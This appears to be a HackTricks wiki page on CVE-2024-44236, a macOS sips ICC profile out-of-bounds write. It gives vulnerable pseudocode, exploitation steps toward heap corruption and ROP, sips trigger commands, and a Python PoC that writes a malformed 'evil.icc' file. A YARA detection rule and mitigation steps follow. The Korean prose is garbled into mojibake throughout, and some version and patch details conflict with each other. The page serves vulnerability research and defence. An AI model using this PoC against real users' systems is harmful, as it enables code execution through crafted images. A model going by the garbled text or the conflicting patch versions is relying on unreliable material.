WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
Apple macOS Scriptable Image Processing System (sips) ICC ํ๋กํ์ผ ํ์์์ ๋ฐ์ํ๋ ์ ๋ก ์ฐ๊ธฐ ์ทจ์ฝ์ (macOS 15.0.1, sips-307)์ ๊ณต๊ฒฉ์๊ฐ ํ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์์์ํค๊ณ ์์๋ฅผ ์ ์ฒด ์ฝ๋ ์คํ์ผ๋ก ์ ํํ ์ ์๊ฒ ํฉ๋๋ค. ์ด ๋ฒ๊ทธ๋ lutAToBType (mAB ) ๋ฐ lutBToAType (mBA ) ํ๊ทธ์ offsetToCLUT ํ๋ ์ฒ๋ฆฌ์ ์์ต๋๋ค. ๊ณต๊ฒฉ์๊ฐ offsetToCLUT == tagDataSize๋ก ์ค์ ํ๋ฉด, ํ์๋ ํ ๋ฒํผ ๋์์ 16๋ฐ์ดํธ๋ฅผ ์ง์๋๋ค. ํ ์คํ๋ ์ด๋ง์ ํตํด ๊ณต๊ฒฉ์๋ ํ ๋น์ ๊ตฌ์กฐ์ฒด๋ ๋์ค์ ์ญ์ฐธ์กฐ๋ C++ ํฌ์ธํฐ๋ฅผ ์ ๋กํํ ์ ์์ผ๋ฉฐ, ์ด๋ ์์ ์ฐ๊ธฐ-์คํ ์ฒด์ธ (CVE-2024-44236, CVSS 7.8)์ ์์ฑํฉ๋๋ค.
Apple์ macOS Sonoma 15.2 / Ventura 14.7.1์์ ์ด ๋ฒ๊ทธ๋ฅผ ํจ์นํ์ต๋๋ค (2024๋ 10์ 30์ผ). ๋ ๋ฒ์งธ ๋ณํ (CVE-2025-24185)์ 2025๋ 4์ 1์ผ macOS 15.5 ๋ฐ iOS/iPadOS 18.5์์ ์์ ๋์์ต๋๋ค.
์ทจ์ฝํ ์ฝ๋
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD โ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
Exploitation Steps
- ์
์ฑ
.iccํ๋กํ์ผ ๋ง๋ค๊ธฐ
- ์ต์ํ์ ICC ํค๋(
acsp)๋ฅผ ์ค์ ํ๊ณ ํ๋์mAB(๋๋mBA) ํ๊ทธ๋ฅผ ์ถ๊ฐํฉ๋๋ค. - ํ๊ทธ ํ
์ด๋ธ์ ๊ตฌ์ฑํ์ฌ
offsetToCLUT๊ฐ ํ๊ทธ ํฌ๊ธฐ(tagDataSize)์ ๊ฐ๋๋ก ํฉ๋๋ค. - ํ๊ทธ ๋ฐ๋ก ๋ค์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ฐ์ดํฐ๋ฅผ ๋ฐฐ์นํ์ฌ 16๊ฐ์ ์ ๋ก ์ฐ๊ธฐ๊ฐ ํ ๋น์ ๋ฉํ๋ฐ์ดํฐ์ ๊ฒน์น๋๋ก ํฉ๋๋ค.
- ํ๋กํ์ผ์ ์ํฅ์ ์ฃผ๋ sips ์์ ์ผ๋ก ํ์ฑ ํธ๋ฆฌ๊ฑฐํ๊ธฐ
# ๊ฒ์ฆ ๊ฒฝ๋ก (์ถ๋ ฅ ํ์ผ ํ์ ์์)
sips --verifyColor evil.icc
# ๋๋ ํ๋กํ์ผ์ ํฌํจํ๋ ์ด๋ฏธ์ง๋ฅผ ๋ณํํ ๋ ์๋ฌต์ ์ผ๋ก
sips -s format png payload.jpg --out out.png
- ํ ๋ฉํ๋ฐ์ดํฐ ์์ โ ์์ ์ฐ๊ธฐ โ ROP
Apple์ ๊ธฐ๋ณธ
nano_zoneํ ๋น์์์ 16๋ฐ์ดํธ ์ฌ๋กฏ์ ๋ฉํ๋ฐ์ดํฐ๋ ์ ๋ ฌ๋ 0x1000 ์ฌ๋ฉ ๋ฐ๋ก ๋ค์ ์์นํฉ๋๋ค. ํ๋กํ์ผ์ ํ๊ทธ๋ฅผ ๊ทธ๋ฌํ ์ฌ๋ฉ์ ๋์ ๋ฐฐ์นํจ์ผ๋ก์จ 16๊ฐ์ ์ ๋ก ์ฐ๊ธฐ๊ฐmeta->slot_B๋ฅผ ๋ฎ์ด์๋๋ค. ์ดํfree๊ฐ ๋ฐ์ํ๋ฉด, ์ค์ผ๋ ํฌ์ธํฐ๊ฐ ์์ ์์ ๋ชฉ๋ก์ ํ์ ์ถ๊ฐ๋์ด ๊ณต๊ฒฉ์๊ฐ ์์ ์ฃผ์์ ๊ฐ์ง ๊ฐ์ฒด๋ฅผ ํ ๋นํ๊ณ sips์์ ์ฌ์ฉ๋๋ C++ vtable ํฌ์ธํฐ๋ฅผ ๋ฎ์ด์ธ ์ ์๊ฒ ํ๋ฉฐ, ๋ง์ง๋ง์ผ๋ก ์ ์ฑ ICC ๋ฒํผ์ ์ ์ฅ๋ ROP ์ฒด์ธ์ผ๋ก ์คํ์ ์ ํํฉ๋๋ค.
๋น ๋ฅธ PoC ์์ฑ๊ธฐ (Python 3)
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
YARA ํ์ง ๊ท์น
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
Impact
์กฐ์๋ ICC ํ๋กํ์ผ์ ์ด๊ฑฐ๋ ์ฒ๋ฆฌํ๋ฉด ํธ์ถํ๋ ์ฌ์ฉ์์ ์ปจํ ์คํธ์์ ์๊ฒฉ ์์ ์ฝ๋ ์คํ์ด ๋ฐ์ํ๋ฉฐ (๋ฏธ๋ฆฌ๋ณด๊ธฐ, QuickLook, Safari ์ด๋ฏธ์ง ๋ ๋๋ง, ๋ฉ์ผ ์ฒจ๋ถํ์ผ ๋ฑ), ํ๋กํ์ผ์ด ๊ทธ๋ ์ง ์์ ์ด๋ฏธ์ง(PNG/JPEG/TIFF) ๋ด๋ถ์ ํฌํจ๋ ์ ์๊ธฐ ๋๋ฌธ์ Gatekeeper๋ฅผ ์ฐํํฉ๋๋ค.
Detection & Mitigation
- ํจ์น! ํธ์คํธ๊ฐ macOS โฅ 15.2 / 14.7.1 (๋๋ iOS/iPadOS โฅ 18.1)์ ์คํํ๊ณ ์๋์ง ํ์ธํ์ญ์์ค.
- ์ด๋ฉ์ผ ๊ฒ์ดํธ์จ์ด ๋ฐ EDR ์๋ฃจ์ ์ ์์ YARA ๊ท์น์ ๋ฐฐํฌํ์ญ์์ค.
- ์ ๋ขฐํ ์ ์๋ ํ์ผ์ ์ถ๊ฐ๋ก ์ฒ๋ฆฌํ๊ธฐ ์ ์
exiftool -icc_profile= -overwrite_original <file>๋ก ํฌํจ๋ ICC ํ๋กํ์ผ์ ์ ๊ฑฐํ๊ฑฐ๋ ์ ๋ฆฌํ์ญ์์ค. - ๋ฏธ์ง์ ์ฝํ ์ธ ๋ฅผ ๋ถ์ํ ๋ ์๋๋ฐ์คํ๋ โํฌ๋ช ์ฑ ๋ฐ ํ๋ํโ VM ๋ด์์ ๋ฏธ๋ฆฌ๋ณด๊ธฐ/QuickLook์ ๊ฐํํ์ญ์์ค.
- DFIR์ ๊ฒฝ์ฐ, ํตํฉ ๋ก๊ทธ์์ ์๋๋ฐ์คํ๋ ์ฑ์ ์ํด
sips --verifyColor๋๋ColorSync๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ก๋์ ์ต๊ทผ ์คํ์ ์ฐพ์ผ์ญ์์ค.
References
- Trend Micro Zero Day Initiative advisory ZDI-24-1445 โ โApple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)โ https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
- Apple security updates HT213981 โAbout the security content of macOS Sonoma 15.2โ https://support.apple.com/en-us/HT213981
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


